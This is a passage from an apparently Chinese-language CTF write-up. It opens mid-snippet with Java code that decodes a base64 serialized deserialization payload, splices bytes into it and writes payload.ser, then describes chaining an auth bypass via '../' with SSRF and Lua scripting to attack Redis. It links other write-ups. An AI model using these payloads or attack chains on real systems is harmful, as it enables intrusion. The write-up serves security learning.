waXBo8G0wLtMABbBqcGNwaXBtMGowa/BpMGOwaHBrcGlcQB+AAlbABbBqcGQwaHBssGhwa3BlMG5wbDBpcGzcQB+AAh4cHVyACbBm8GMwarBocG2waHArsGswaHBrsGnwK7Bj8GiwarBpcGjwbTAu5DOWJ8QcylsAgAAeHAAAAAAdAAcwa7BpcG3wZTBssGhwa7Bs8Gmwa/BssGtwaXBsnVyACTBm8GMwarBocG2waHArsGswaHBrsGnwK7Bg8GswaHBs8GzwLurFteuy81amQIAAHhwAAAAAHNxAH4AAD9AAAAAAAAMdwgAAAAQAAAAAHh4dAACwbR4";
byte[] serialize = Base64.getDecoder().decode(payload);
byte[] aced = Arrays.copyOfRange(serialize, 0, 4);
byte[] range = Arrays.copyOfRange(serialize, 4, serialize.length);
byte[] bs = new byte[]{0x77, 0x01, 0x16, 0x79};
 System.out.println(aced.length + range.length == serialize.length);
byte[] bytes = ArrayUtils.addAll(aced, bs);
 bytes = ArrayUtils.addAll(bytes, range);
 Files.write(bytes, new File("./payload.ser"));
接下来搭一个流量转发把payload放进去即可
CeleRace
赛中没看这道题,当时看着还是有将近十解了,十多天过去也只搜到一个wp,似乎还是不完整的
看看源码,app.js没什么价值,主要就是对用户的输入做一些处理,发送到后端接口之类的
主要逻辑在app.py里
可以通过这个接口打一个ssrf,尝试去打redis,但是这个接口要求admin,需要绕过鉴权

利用../可以绕过鉴权使用接口

接下来可以通过lua打redis
Lua是一种轻量级脚本语言,它是用C语言编写的,跟数据库的存储过程有点类似。
在Redis从2.6版本之后,开始引入Lua脚本,也就是说,Redis可以用Lua来执行Redis命令。
这里贴个脚本用来打redis,来自https://blog.potatowo.top/2025/10/20/%E5%BC%BA%E7%BD%91%E6%9D%AF2025%E7%BA%BF%E4%B8%8A%E5%88%9D%E8%B5%9Bwp/
突然又有其他事情要做,复现就到这里吧
贴篇wp
http://gensokyo.cn/2025/10/19/celerace/
PTer
赛后没有环境搭建,贴一篇博客
https://mp.weixin.qq.com/s/4Fo5sZdRJP5J0aLemoz2EA
 
         
          
          